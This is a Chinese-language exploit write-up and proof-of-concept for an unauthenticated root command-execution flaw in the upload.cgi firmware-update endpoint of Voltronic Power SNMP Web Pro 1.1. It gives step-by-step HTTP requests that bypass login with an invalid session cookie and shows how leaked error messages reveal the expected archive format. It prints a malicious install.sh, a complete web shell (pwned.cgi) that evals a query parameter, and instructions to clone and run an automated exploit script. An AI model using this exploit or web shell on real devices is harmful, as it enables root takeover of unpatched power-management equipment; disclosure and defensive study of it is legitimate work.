Voltronic Power SNMP Web Pro 1.1 存在无需认证的完全远程命令执行漏洞
SNMP Web Pro 1.1 的 upload.cgi 端点存在一个未经认证的远程代码执行漏洞。固件更新功能允许用户上传 tar 归档文件,随后该文件会在没有任何输入验证或安全检查的情况下被解压并安装。应用未能限制或清理归档内容,因此攻击者可以上传包含恶意 CGI 脚本的特制归档。经过一番尝试和出错——再加上每次响应泄露的信息带来的巨大帮助——就可以推断出预期的确切归档格式,并构造出恶意归档。
此外,该端点没有正确验证身份认证:即使前端明确要求登录才能使用,只需提供一个被篡改或无效的会话 Cookie,就足以绕过访问控制,在没有有效凭据的情况下访问存在漏洞的功能。
成功利用该漏洞后,攻击者可以在 CGI 服务器目录中放置任意可执行文件,并以 root 权限执行命令。
git clone https://github.com/Virgula0/CVE-2026-44402 && cd CVE-2026-44402
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python3 poc.py
以下所有操作都是针对一个本地实例(http://localhost:5555)进行的。从一开始就有两件事让整个过程变得轻而易举:
Cookie: -http-session-=NOT_VALID 头即可——sid 查询参数是前端 JavaScript 生成的随机值,服务器同样会忽略它。以下步骤就是沿着这个循环进行的。请求被精简到服务器真正关心的最少请求头。
第一个请求就已经告诉我们服务器期望固件归档文件位于何处。注意,params=extract 是要求 CGI 解压一个归档,而不是接收一个归档:此时还没有上传任何内容,端点只是尝试解压它预期在磁盘上找到的文件。
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
响应:
HTTP/1.1 503 Service Unavailable
Set-Cookie: -http-session-=6285::http.session::c554063a20f58778321bde709c8b5b88; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:03:21 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 124
tar: can't open '/root/upgrade.tar.gz': No such file or directory
Content-Type:text/html;charset=UTF-8
upgrade=extract
(NAK
这段响应体简直是金矿。除了 (NAK(否定应答)告诉我们操作失败之外,tar 二进制的原始输出被逐字嵌入响应中:它正在尝试解压 /root/upgrade.tar.gz。还要注意目标安装路径 /root——我们正在和一个特权进程打交道。
利用计划有两个要点:
upgrade.tar.gz 并放入 /root。我们的文件名无关紧要。首先,创建一个测试用 tar 归档(上传是一个 multipart POST;它的请求记录没什么意思——所有行为都由 GET 调用驱动):
tar czvf test.tar.gz test.txt
test.txt
开始循环:上传归档,然后解压它:
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6287::http.session::11fcdf2cb70f9c5eb9156351f1c99a19; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:08:01 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20
upgrade=extract
(ACK
(ACK ——解压过程顺利完成,没有报错。这个循环(上传 -> 解压 -> 安装)就是整个漏洞利用的模式;从现在开始只有安装步骤会变化,所以接下来的请求记录只显示请求行和响应体(响应头与上面完全相同)。
upgrade 的文件夹解压没问题了,该安装了。响应不出所料地有所不同:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6315::http.session::813a6112002ec3f3ca149abe514cfba9; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:15:42 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 63
upgrade=install
(ACKsh: cd: line 1: can't cd to /root/upgrade*
又是 (ACK,但一条 shell 命令的残留信息泄露了出来:cd: line 1: can't cd to /root/upgrade*。安装程序会执行任意的 shell 命令——它试图 cd 到一个由通配符展开、位于解压归档中名为 upgrade 的文件夹。我们那个无害的扁平归档(根目录下的 test.txt)无法匹配这个通配符。修复方法很简单:重新打包,加入一个顶层 upgrade/ 目录。
mkdir upgrade && cd upgrade && touch test.txt
tar czvf test.tar.gz upgrade
upgrade/
upgrade/test.txt
然后重复循环的前两步:重新上传、重新解压。
install.sh再次执行同样的安装调用,这次泄露的信息更有价值:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6318::http.session::3e74062cf64c49f5ef94905347698a71; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:19:52 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 65
upgrade=install
(ACKchmod: install.sh: No such file or directory
它对一个名为 install.sh 的脚本执行了 chmod——这意味着安装过程会以 root 身份执行归档中的 shell 脚本。此时我们控制了归档中的每一个文件,因此也控制了该脚本。整个漏洞用一句话就能概括:无需认证,以 root 权限执行任意文件。
在 upgrade/ 目录中构建 install.sh 和 pwned.cgi(这两个文件也已包含在本仓库的 upgrade/ 文件夹中)。
install.sh 会解包实际目录结构,将我们的脚本放入 Web 根目录的 CGI 目录,然后修复权限:
cat upgrade/install.sh
#!/bin/sh
current="$PWD"
show=$(ls -la /root/upgrade 2>/dev/null)
ww=$(whoami)
# Write debug info with proper formatting
printf "%s\n%s\n%s\n" "$current" "$show" "$ww" > /var/www/html/web_pages/pwned.txt
# Copy the cgi script correctly
cp pwned.cgi /var/www/html/web_pages/cgi-bin/pwned.cgi
# Set permissions
chmod 755 /var/www/html/web_pages/cgi-bin/pwned.cgi
pwned.cgi 是一个极简的命令分发 CGI:它获取 cmd 查询参数,进行 URL 解码后交给 eval 执行。这就是远程 shell:
cat upgrade/pwned.cgi
#!/bin/sh
echo "Content-Type: text/plain"
echo ""
# Get the query string (everything after the '?')
QUERY_STRING="$QUERY_STRING"
# Extract the 'cmd' parameter value
# This simple parser works for cmd=something
CMD=$(echo "$QUERY_STRING" | sed -n 's/.*cmd=\([^&]*\).*/\1/p' | sed 's/+/ /g')
# URL decode (basic: replace %20 with space, etc.)
CMD=$(echo "$CMD" | sed 's/%20/ /g; s/%2F/\//g; s/%2D/-/g; s/%5F/_/g')
if [ -z "$CMD" ]; then
echo "No cmd parameter provided."
exit 0
fi
# Execute the command and return its output
eval "$CMD" 2>&1
重新打包归档:
tar czvf test.tar.gz upgrade
upgrade/
upgrade/install.sh
upgrade/pwned.cgi
然后最后一次运行完整循环:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6321::http.session::ec3ba9c0e3c14b9eb2403c1d211bf968; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:22:31 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20
upgrade=install
(ACK
这次是一个干净的 (ACK,没有泄露任何错误:安装程序毫无怨言地运行了我们的脚本,pwned.cgi 现在应该已经位于 CGI 目录中。一个简单的 whoami 即可确认(请给 URL 加上引号——; 是 shell 分隔符,CGI 解析器遇到它会出错):
curl 'http://localhost:5555/cgi-bin/pwned.cgi?cmd=whoami%3Buname+-a'
root
Linux SNMP-System 2.6.35.3-670-g914558e-g858a882 #1 PREEMPT Mon Sep 26 16:39:15 CST 2016 armv5tejl GNU/Linux
root,就在设备的 ARM Linux 上。从零凭据到 root shell,整个过程只用了上面两次信息泄露和一个 tar 归档。

还没有,厂商尚未给出答复。请使用带认证的 nginx 反向代理来保护目标。
poc.py 以 1:1 的方式自动化了上述手动循环。create_in_memory_tar_archive() 在内存中构建第 5 步的归档(install.sh + 一个基于 POST 的 pwned.cgi 变体),然后 upload_archive()、extract_firmware() 和 install_firmware() 重放第 2 至 4 步,verify_exploit_uploaded() 等待 CGI 出现,spawn_non_interactive_shell() 会把你带到一个 >>> 提示符,其中的命令会经过 base64 编码并通过 POST 提交到 pwned.cgi。